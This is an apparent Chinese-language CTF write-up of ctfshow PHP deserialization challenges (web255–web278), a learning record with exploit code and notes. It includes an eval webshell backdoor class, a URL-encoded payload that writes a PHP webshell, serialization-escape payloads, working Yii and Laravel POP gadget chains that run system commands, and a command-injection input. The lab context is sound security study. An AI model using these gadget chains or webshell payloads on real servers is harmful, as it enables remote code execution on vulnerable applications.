ctfshow unserialize

开始反序列化

web255

是从cookie中unserialize得到实例,考虑修改cookie中键user的值

$result = urlencode(serialize(new ctfShowUser()));

为何需要url编码呢,不url编码也能成。url编码是对称加密,编码也不影响

web256

考察!==不完全等于,两端不一样为true,相同为false

web257

类内部变量class指向类info

考虑将class指向类backdoor

在类backdoor中RCE

复制代码
<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code= 'eval($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}


$cup =  urlencode(serialize(new ctfShowUser()));
echo PHP_EOL;
echo serialize(new ctfShowUser());

web258

正则过滤O:数字,将数字前面添一个+号

复制代码
public $code='eval($_POST[1]);';

因为eval本身是一条php语句,引号内的结尾要使用分号

具体可看序列化的c源码

正则为何是过滤O:数字呢

复制代码
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))

web259

php中,如果调用的一个方法在类中不存在,则调用__call魔术方法

原生类的ssrf

通过SoapClient对象

通过php发送网络请求

结合了ssrf

鸽先

web260

字符串序列化结果是它本身

preg_match 是要串中命中就成

web261

0x36d 是877,涉及弱类型比较

如果出现877或877a都会成立

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略

这两个方法是关于在反序列化时被触发

__invoke是关于类被当作一个函数调用时触发,比如

php 复制代码
class MyCallable {
    public function __invoke($param) {
        echo "Called with parameter: $param\n";
    }
}

$obj = new MyCallable();
$obj("Hello"); // 这里会调用 __invoke() 方法

__sleep在序列化时调用

__unserialize在序列化时调用,将给$code赋值

反序列化对象,new一个对象出来,利用它的构造,获得它的序列化字符串

复制代码
O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22877a.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

web262

反序列化逃逸注入

预期解

php 复制代码
<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$obj = new message('fuck','b','c');

function filter($obj){
    return str_replace('fuck', 'loveU', $obj);
}

$objSer = serialize($obj);
echo $objSer;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}


echo PHP_EOL;
$objSerFil = filter($objSer);
echo $objSerFil;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//could flee
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//fix it to
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

//payload(62 char)
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

echo PHP_EOL;
$objHack = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
echo serialize($objHack);

$answer = 'O:7:"message":4:{s:4:"from";s:310:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}';
$answer = filter($answer);

echo PHP_EOL;
var_dump(unserialize($answer));
//it works

echo PHP_EOL;
echo base64_encode($answer);

在目标串中,把短串替换长串,就会造成逃逸,长串与短串的长度的差,就是逃逸的机会。将短串重复若干多次,就能达到逃逸几十个字符个数的反序列化

逃逸的情况就是这样,有些耐心就能做出来

那么,在这个题目中,注释部分的提示

php 复制代码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

为什么暴露了message.php这个文件,而有些情况message.php还可传参?比如本题中,传入cookie可以new一个序列化的base64 message对象进去,后端也能读到cookie中的payload

web263

ctf中一般的源码泄漏是www.zip

ini_set('session.serialize_handler','php')

include('inc/inc.php');

在php泄漏的源码中没有,但是在服务器中有

这题有点复杂,晚点写

涉及php的一个设置

ini_set('session.serialize_handler','php')

ini_set('session.serialize_handler','php_serialize')

web264

是反序列化逃逸,属于变长类型,耐心即可

信息写到session中

php 复制代码
<?php

class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';//original is 'user', I change it to 'admin'
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');

function filter($msg){
    return str_replace("fuck","loveU",serialize($msg));
}

$msg_1 = filter($msg);

echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}
//payload:";s:5:"token";s:5:"admin";}(27chars)
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:108:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}

var_dump(unserialize($msg_1));

web265

"我怎么感觉这个wp越来越像教程了,居然还用了画笔"--from video

有点意思,通过引用,tocken咋变值password就咋变

php 复制代码
<?php

//error_reporting(0);
//include('flag.php');
//highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$admin = new ctfshowAdmin('123','123');

echo serialize($admin);

以下为题目

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

web266

(在线靶场启用了https)

(搞一下burpsuite)

(https://www.cnblogs.com/a-wyw/p/16277571.html)

(https://cloud.tencent.com/developer/article/1391501)

反序列化

恶意破坏反序列化的结构,但不破坏类名

反序列化异常但是还是会执行类的销毁方法

payload: O:7:"ctfshow":2:{ctfshow} 使用post方法

有趣的是,这题传值使用file_get_contents('php://input');通过post直接传值

使用hackbar失败,需要抓包修改后放行

web267

yii反序列化poc

复制代码
<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';				//命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

rce 中 system 被 ban, 用shell_exe()

没能成,不知道为啥

中间几道题是YII的pop链,晚点作

web271

Laravel的链子5.8(将不同的链子做成工具会比较方便)

复制代码
<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
        )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                )
        )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('cat /flag'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

web272

还是Laravel

换一条链子

复制代码
<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
        public $connection;
        public function __construct(){
            $this->connection=new MockDefinition();
        }
    }
}
namespace Illuminate\Bus{

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
        protected $queueResolver;
        public function __construct(){
            $this->queueResolver=[new EvalLoader(),'load'];
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader
    {

    }
}
namespace Mockery\Generator{
    class MockConfiguration
    {
        protected $name="feng";
    }
    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->code="<?php system('cat /flag');exit()?>";
            $this->config=new MockConfiguration();
        }
    }
}

namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

web273

同web272,通杀属于是,链子继续用

总结以下框架的发序列化链子怎么用

就是收集链子,根据框架的指纹判断种类和版本

web274

没找到链子捏

web275

?fn=php;tac flag.php

题目

php 复制代码
highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

是个RCE

一般情况,传个get参数,直接被当成文件名删掉

尝试进入system命令执行,使用分号执行命令

不难

web276

利用phar

写脚本竞争读写,拿到flag

没懂

web277

flask 的python反序列化

没懂

web278

flask 的python 反序列化

没学

总结一下

就是啥也不会,啥也不是

啥也没学

做了题也是菜中菜

相关推荐
Predestination王瀞潞14 小时前
Windows环境下Pytorch的配置
人工智能·pytorch·python
梁正雄14 小时前
linux服务-Nginx+Tomcat+Redis之Session 共享 - 容器compose
linux·nginx·tomcat
二川bro15 小时前
特征工程完全手册:2025 Python实战技巧
开发语言·python
咕噜签名-铁蛋15 小时前
云服务器与物理服务器、VPS的区别
运维·服务器
恒创科技HK15 小时前
香港服务器流量有限制和带宽有限制区别在哪?
运维·服务器·网络
fengyehongWorld15 小时前
Linux rsync命令
linux
wanhengidc15 小时前
机架式服务器有什么作用?
运维·服务器·web安全·智能手机·云计算
干啥都是小小白15 小时前
Linux C编程
linux·运维·服务器
用户23452670098215 小时前
Python实现异步任务队列深度好文
后端·python
夫唯不争,故无尤也15 小时前
PyTorch 的维度变形一站式入门
人工智能·pytorch·python